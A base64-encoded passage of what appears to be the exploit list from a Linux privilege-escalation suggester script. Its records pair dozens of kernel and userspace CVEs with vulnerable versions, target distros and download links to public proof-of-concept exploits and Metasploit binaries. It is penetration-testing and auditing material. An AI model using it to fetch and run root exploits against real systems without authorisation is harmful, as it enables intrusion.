QKUmFuazogNAphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9kaXJ0eWNvdy9kaXJ0eWNvdy5naXRodWIuaW8vd2lraS9WdWxuZXJhYmlsaXR5RGV0YWlscwpDb21tZW50czogRm9yIFJIRUwvQ2VudE9TIHNlZSBleGFjdCB2dWxuZXJhYmxlIHZlcnNpb25zIGhlcmU6IGh0dHBzOi8vYWNjZXNzLnJlZGhhdC5jb20vc2l0ZXMvZGVmYXVsdC9maWxlcy9yaC1jdmUtMjAxNi01MTk1XzUuc2gKZXhwbG9pdC1kYjogNDA2MTEKYXV0aG9yOiBQaGlsIE9lc3RlcgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTUxOTVdJHt0eHRyc3R9IGRpcnR5Y293IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4yMix2ZXI8PTQuOC4zClRhZ3M6IGRlYmlhbj03fDgsUkhFTD01fDZ8Nyx1YnVudHU9MTQuMDR8MTIuMDQsdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItMjEtZ2VuZXJpY30sdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiA0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2RpcnR5Y293L2RpcnR5Y293LmdpdGh1Yi5pby93aWtpL1Z1bG5lcmFiaWxpdHlEZXRhaWxzCmV4dC11cmw6IGh0dHBzOi8vd3d3LmV4cGxvaXQtZGIuY29tL2Rvd25sb2FkLzQwODQ3CkNvbW1lbnRzOiBGb3IgUkhFTC9DZW50T1Mgc2VlIGV4YWN0IHZ1bG5lcmFibGUgdmVyc2lvbnMgaGVyZTogaHR0cHM6Ly9hY2Nlc3MucmVkaGF0LmNvbS9zaXRlcy9kZWZhdWx0L2ZpbGVzL3JoLWN2ZS0yMDE2LTUxOTVfNS5zaApleHBsb2l0LWRiOiA0MDgzOQphdXRob3I6IEZpcmVGYXJ0IChhdXRob3Igb2YgZXhwbG9pdCBhdCBFREIgNDA4MzkpOyBHYWJyaWVsZSBCb25hY2luaSAoYXV0aG9yIG9mIGV4cGxvaXQgYXQgJ2V4dC11cmwnKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTg2NTVdJHt0eHRyc3R9IGNob2NvYm9fcm9vdApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LjAsdmVyPDQuOSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQpUYWdzOiB1YnVudHU9KDE0LjA0fDE2LjA0KXtrZXJuZWw6NC40LjAtKDIxfDIyfDI0fDI4fDMxfDM0fDM2fDM4fDQyfDQzfDQ1fDQ3fDUxKS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTYvMTIvMDYvMQpDb21tZW50czogQ0FQX05FVF9SQVcgY2FwYWJpbGl0eSBpcyBuZWVkZWQgT1IgQ09ORklHX1VTRVJfTlM9eSBuZWVkcyB0byBiZSBlbmFibGVkCmJpbi11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9yYXBpZDcvbWV0YXNwbG9pdC1mcmFtZXdvcmsvbWFzdGVyL2RhdGEvZXhwbG9pdHMvQ1ZFLTIwMTYtODY1NS9jaG9jb2JvX3Jvb3QKZXhwbG9pdC1kYjogNDA4NzEKYXV0aG9yOiByZWJlbApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTk3OTNdJHt0eHRyc3R9IFNPX3tTTkR8UkNWfUJVRkZPUkNFClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjExLHZlcjw0LjguMTQsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS94YWlyeS9rZXJuZWwtZXhwbG9pdHMvdHJlZS9tYXN0ZXIvQ1ZFLTIwMTYtOTc5MwpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNi05NzkzL3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX0FETUlOIGNhcHMgT1IgQ09ORklHX1VTRVJfTlM9eSBuZWVkZWQuIE5vIFNNRVAvU01BUC9LQVNMUiBieXBhc3MgaW5jbHVkZWQuIFRlc3RlZCBpbiBRRU1VIG9ubHkKZXhwbG9pdC1kYjogNDE5OTUKYXV0aG9yOiBBbmRyZXkgJ3hhaXJ5JyBLb25vdmFsb3YKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy02MDc0XSR7dHh0cnN0fSBkY2NwClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPD00LjkuMTEsQ09ORklHX0lQX0RDQ1A9W215XQpUYWdzOiB1YnVudHU9KDE0LjA0fDE2LjA0KXtrZXJuZWw6NC40LjAtNjItZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAyLzIyLzMKQ29tbWVudHM6IFJlcXVpcmVzIEtlcm5lbCBiZSBidWlsdCB3aXRoIENPTkZJR19JUF9EQ0NQIGVuYWJsZWQuIEluY2x1ZGVzIHBhcnRpYWwgU01FUC9TTUFQIGJ5cGFzcwpleHBsb2l0LWRiOiA0MTQ1OAphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTczMDhdJHt0eHRyc3R9IGFmX3BhY2tldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9NC4xMC42LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC44LjAtKDM0fDM2fDM5fDQxfDQyfDQ0fDQ1KS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9nb29nbGVwcm9qZWN0emVyby5ibG9nc3BvdC5jb20vMjAxNy8wNS9leHBsb2l0aW5nLWxpbnV4LWtlcm5lbC12aWEtcGFja2V0Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3hhaXJ5L2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNzMwOC9wb2MuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTctNzMwOC9wb2MuYwpDb21tZW50czogQ0FQX05FVF9SQVcgY2FwIG9yIENPTkZJR19VU0VSX05TPXkgbmVlZGVkLiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyBhZGRzIHN1cHBvcnQgZm9yIGFkZGl0aW9uYWwga2VybmVscwpiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE3LTczMDgvZXhwbG9pdApleHBsb2l0LWRiOiA0MTk5NAphdXRob3I6IEFuZHJleSAneGFpcnknIEtvbm92YWxvdiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTY5OTVdJHt0eHRyc3R9IGVCUEZfdmVyaWZpZXIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTQuOCxDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogZGViaWFuPTkuMHtrZXJuZWw6NC45LjAtMy1hbWQ2NH0sZmVkb3JhPTI1fDI2fDI3LHVidW50dT0xNC4wNHtrZXJuZWw6NC40LjAtODktZ2VuZXJpY30sdWJ1bnR1PSgxNi4wNHwxNy4wNCl7a2VybmVsOjQuKDh8MTApLjAtKDE5fDI4fDQ1KS1nZW5lcmljfQpSYW5rOiA1CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9yaWNrbGFyYWJlZS5ibG9nc3BvdC5jb20vMjAxOC8wNy9lYnBmLWFuZC1hbmFseXNpcy1vZi1nZXQtcmVrdC1saW51eC5odG1sCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkICE9IDEKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxNy0xNjk5NS9leHBsb2l0Lm91dApleHBsb2l0LWRiOiA0NTAxMAphdXRob3I6IFJpY2sgTGFyYWJlZQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE3LTEwMDAxMTJdJHt0eHRyc3R9IE5FVElGX0ZfVUZPClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjQsdmVyPD00LjEzLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0xNC4wNHtrZXJuZWw6NC40LjAtKn0sdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjguMC0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTcvMDgvMTMvMQpzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy0xMDAwMTEyL3BvYy5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy0xMDAwMTEyL3BvYy5jCkNvbW1lbnRzOiBDQVBfTkVUX0FETUlOIGNhcCBvciBDT05GSUdfVVNFUl9OUz15IG5lZWRlZC4gU01FUC9LQVNMUiBieXBhc3MgaW5jbHVkZWQuIE1vZGlmaWVkIHZlcnNpb24gYXQgJ2V4dC11cmwnIGFkZHMgc3VwcG9ydCBmb3IgYWRkaXRpb25hbCBkaXN0cm9zL2tlcm5lbHMKYmluLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3JhcGlkNy9tZXRhc3Bsb2l0LWZyYW1ld29yay9tYXN0ZXIvZGF0YS9leHBsb2l0cy9jdmUtMjAxNy0xMDAwMTEyL2V4cGxvaXQub3V0CmV4cGxvaXQtZGI6CmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92IChvcmdpbmFsIGV4cGxvaXQgYXV0aG9yKTsgQnJlbmRhbiBDb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMjUzXSR7dHh0cnN0fSBQSUVfc3RhY2tfY29ycnVwdGlvbgpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9NC4xMyx4ODZfNjQKVGFnczogUkhFTD02LFJIRUw9N3trZXJuZWw6My4xMC4wLTUxNC4yMS4yfDMuMTAuMC01MTQuMjYuMX0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wOS8yNi9saW51eC1waWUtY3ZlLTIwMTctMTAwMDI1My9jdmUtMjAxNy0xMDAwMjUzLnR4dApzcmMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDkvMjYvbGludXgtcGllLWN2ZS0yMDE3LTEwMDAyNTMvY3ZlLTIwMTctMTAwMDI1My5jCmV4cGxvaXQtZGI6IDQyODg3CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE4LTUzMzNdJHt0eHRyc3R9IHJkc19hdG9taWNfZnJlZV9vcCBOVUxMIHBvaW50ZXIgZGVyZWZlcmVuY2UKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8PTQuMTQuMTMsY21kOmdyZXAgLXFpIHJkcyAvcHJvYy9tb2R1bGVzLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuNC4wfDQuOC4wfQpSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vd2Jvd2xpbmcvOWQzMjQ5MmJkOTZkOWU3YzNiZjUyZTIzYTBhYzMwYTQvcmF3Lzk1OTMyNTgxOWM3ODI0OGE2NDM3MTAyYmIyODliYjg1NzhhMTM1Y2QvY3ZlLTIwMTgtNTMzMy1wb2MuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTgtNTMzMy9jdmUtMjAxOC01MzMzLmMKQ29tbWVudHM6IHJkcy5rbyBrZXJuZWwgbW9kdWxlIG5lZWRzIHRvIGJlIGxvYWRlZC4gTW9kaWZpZWQgdmVyc2lvbiBhdCAnZXh0LXVybCcgYWRkcyBzdXBwb3J0IGZvciBhZGRpdGlvbmFsIHRhcmdldHMgYW5kIGJ5cGFzc2luZyBLQVNMUi4KYXV0aG9yOiB3Ym93bGluZyAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xODk1NV0ke3R4dHJzdH0gc3VidWlkX3NoZWxsClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj00LjE1LHZlcjw9NC4xOS4yLENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xLGNtZDpbIC11IC91c3IvYmluL25ld3VpZG1hcCBdLGNtZDpbIC11IC91c3IvYmluL25ld2dpZG1hcCBdClRhZ3M6IHVidW50dT0xOC4wNHtrZXJuZWw6NC4xNS4wLTIwLWdlbmVyaWN9LGZlZG9yYT0yOHtrZXJuZWw6NC4xNi4zLTMwMS5mYzI4fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE3MTIKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0ZGItYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80NTg4Ni56aXAKZXhwbG9pdC1kYjogNDU4ODYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMzI3Ml0ke3R4dHJzdH0gUFRSQUNFX1RSQUNFTUUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQsdmVyPDUuMS4xNyxzeXNjdGw6a2VybmVsLnlhbWEucHRyYWNlX3Njb3BlPT0wLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuMTUuMC0qfSx1YnVudHU9MTguMDR7a2VybmVsOjQuMTUuMC0qfSxkZWJpYW49OXtrZXJuZWw6NC45LjAtKn0sZGViaWFuPTEwe2tlcm5lbDo0LjE5LjAtKn0sZmVkb3JhPTMwe2tlcm5lbDo1LjAuOS0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE5MDMKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0ZGItYmluLXNwbG9pdHMvcmF3L21hc3Rlci9iaW4tc3Bsb2l0cy80NzEzMy56aXAKZXh0LXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9rZXJuZWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE5LTEzMjcyL3BvYy5jCkNvbW1lbnRzOiBSZXF1aXJlcyBhbiBhY3RpdmUgUG9sS2l0IGFnZW50LgpleHBsb2l0LWRiOiA0NzEzMwpleHBsb2l0LWRiOiA0NzE2MwphdXRob3I6IEphbm4gSG9ybiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xNTY2Nl0ke3R4dHJzdH0gWEZSTV9VQUYKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMsdmVyPDUuMC4xOSxDT05GSUdfVVNFUl9OUz15LHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MSxDT05GSUdfWEZSTT15ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2R1YXN5bnQuY29tL2Jsb2cvdWJ1bnR1LWNlbnRvcy1yZWRoYXQtcHJpdmVzYwpiaW4tdXJsOiBodHRwczovL2dpdGh1Yi5jb20vZHVhc3ludC94ZnJtX3BvYy9yYXcvbWFzdGVyL2x1Y2t5MApDb21tZW50czogQ09ORklHX1VTRVJfTlMgbmVlZHMgdG8gYmUgZW5hYmxlZDsgQ09ORklHX1hGUk0gbmVlZHMgdG8gYmUgZW5hYmxlZAphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMjczNjVdJHt0eHRyc3R9IGxpbnV4LWlzY3NpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPD01LjExLjMsQ09ORklHX1NMQUJfRlJFRUxJU1RfSEFSREVORUQhPXkKVGFnczogUkhFTD04ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cuZ3JpbW0tY28uY29tLzIwMjEvMDMvbmV3LW9sZC1idWdzLWluLWxpbnV4LWtlcm5lbC5odG1sCnNyYy11cmw6IGh0dHBzOi8vY29kZWxvYWQuZ2l0aHViLmNvbS9ncmltbS1jby9Ob3RRdWl0ZTBEYXlGcmlkYXkvemlwL3RydW5rCkNvbW1lbnRzOiBDT05GSUdfU0xBQl9GUkVFTElTVF9IQVJERU5FRCBtdXN0IG5vdCBiZSBlbmFibGVkCmF1dGhvcjogR1JJTU0KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0zNDkwXSR7dHh0cnN0fSBlQlBGIEFMVTMyIGJvdW5kcyB0cmFja2luZyBmb3IgYml0d2lzZSBvcHMKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTUuNyx2ZXI8NS4xMixDT05GSUdfQlBGX1NZU0NBTEw9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKVGFnczogdWJ1bnR1PTIwLjA0e2tlcm5lbDo1LjguMC0oMjV8MjZ8Mjd8Mjh8Mjl8MzB8MzF8MzJ8MzN8MzR8MzV8MzZ8Mzd8Mzh8Mzl8NDB8NDF8NDJ8NDN8NDR8NDV8NDZ8NDd8NDh8NDl8NTB8NTF8NTIpLSp9LHVidW50dT0yMS4wNHtrZXJuZWw6NS4xMS4wLTE2LSp9ClJhbms6IDUKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5ncmFwbHNlY3VyaXR5LmNvbS9wb3N0L2tlcm5lbC1wd25pbmctd2l0aC1lYnBmLWEtbG92ZS1zdG9yeQpzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vY2hvbXBpZTEzMzcvTGludXhfTFBFX2VCUEZfQ1ZFLTIwMjEtMzQ5MC96aXAvbWFpbgpDb21tZW50czogQ09ORklHX0JQRl9TWVNDQUxMIG5lZWRzIHRvIGJlIHNldCAmJiBrZXJuZWwudW5wcml2aWxlZ2VkX2JwZl9kaXNhYmxlZCAhPSAxCmF1dGhvcjogY2hvbXBpZTEzMzcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS0yMjU1NV0ke3R4dHJzdH0gTmV0ZmlsdGVyIGhlYXAgb3V0LW9mLWJvdW5kcyB3cml0ZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE5LHZlcjw9NS4xMi1yYzYKVGFnczogdWJ1bnR1PTIwLjA0e2tlcm5lbDo1LjguMC0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9nb29nbGUuZ2l0aHViLmlvL3NlY3VyaXR5LXJlc2VhcmNoL3BvY3MvbGludXgvY3ZlLTIwMjEtMjI1NTUvd3JpdGV1cC5odG1sCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9nb29nbGUvc2VjdXJpdHktcmVzZWFyY2gvbWFzdGVyL3BvY3MvbGludXgvY3ZlLTIwMjEtMjI1NTUvZXhwbG9pdC5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAyMS0yMjU1NS9leHBsb2l0LmMKQ29tbWVudHM6IGlwX3RhYmxlcyBrZXJuZWwgbW9kdWxlIG11c3QgYmUgbG9hZGVkCmV4cGxvaXQtZGI6IDUwMTM1CmF1dGhvcjogdGhlZmxvdyAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IGJjb2xlcyAoYXV0aG9yIG9mIGV4cGxvaXQgdXBkYXRlIGF0ICdleHQtdXJsJykKRU9GCikKCiMjIyMjIyMjIyMjIyBVU0VSU1BBQ0UgRVhQTE9JVFMgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCm49MAoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0wMTg2XSR7dHh0cnN0fSBzYW1iYQpSZXFzOiBwa2c9c2FtYmEsdmVyPD0yLjIuOApUYWdzOiAKUmFuazogMQpleHBsb2l0LWRiOiAyMzY3NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0xMTg1XSR7dHh0cnN0fSB1ZGV2ClJlcXM6IHBrZz11ZGV2LHZlcjwxNDEsY21kOltbIC1mIC9ldGMvdWRldi9ydWxlcy5kLzk1LXVkZXYtbGF0ZS5ydWxlcyB8fCAtZiAvbGliL3VkZXYvcnVsZXMuZC85NS11ZGV2LWxhdGUucnVsZXMgXV0KVGFnczogdWJ1bnR1PTguMTB8OS4wNApSYW5rOiAxCmV4cGxvaXQtZGI6IDg1NzIKQ29tbWVudHM6IFZlcnNpb248MS40LjEgdnVsbmVyYWJsZSBidXQgZGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZCAKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMTE4NV0ke3R4dHJzdH0gdWRldiAyClJlcXM6IHBrZz11ZGV2LHZlcjwxNDEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA4NDc4CkNvbW1lbnRzOiBTU0ggYWNjZXNzIHRvIG5vbiBwcml2aWxlZ2VkIHVzZXIgaXMgbmVlZGVkLiBWZXJzaW9uPDEuNC4xIHZ1bG5lcmFibGUgYnV0IGRpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMDgzMl0ke3R4dHJzdH0gUEFNIE1PVEQKUmVxczogcGtnPWxpYnBhbS1tb2R1bGVzLHZlcjw9MS4xLjEKVGFnczogdWJ1bnR1PTkuMTB8MTAuMDQKUmFuazogMQpleHBsb2l0LWRiOiAxNDMzOQpDb21tZW50czogU1NIIGFjY2VzcyB0byBub24gcHJpdmlsZWdlZCB1c2VyIGlzIG5lZWRlZApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC00MTcwXSR7dHh0cnN0fSBTeXN0ZW1UYXAKUmVxczogcGtnPXN5c3RlbXRhcCx2ZXI8PTEuMwpUYWdzOiBSSEVMPTV7c3lzdGVtdGFwOjEuMS0zLmVsNX0sZmVkb3JhPTEze3N5c3RlbXRhcDoxLjItMS5mYzEzfQpSYW5rOiAxCmF1dGhvcjogVGF2aXMgT3JtYW5keQpleHBsb2l0LWRiOiAxNTYyMApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMS0xNDg1XSR7dHh0cnN0fSBwa2V4ZWMKUmVxczogcGtnPXBvbGtpdCx2ZXI9MC45NgpUYWdzOiBSSEVMPTYsdWJ1bnR1PTEwLjA0fDEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTc5NDIKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTEtMjkyMV0ke3R4dHJzdH0ga3RzdXNzClJlcXM6IHBrZz1rdHN1c3MsdmVyPD0xLjQKVGFnczogc3Bhcmt5PTV8NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDExLzA4LzEzLzIKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTEtMjkyMS9rdHN1c3MtbHBlLnNoCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEyLTA4MDldJHt0eHRyc3R9IGRlYXRoX3N0YXIgKHN1ZG8pClJlcXM6IHBrZz1zdWRvLHZlcj49MS44LjAsdmVyPD0xLjguMwpUYWdzOiBm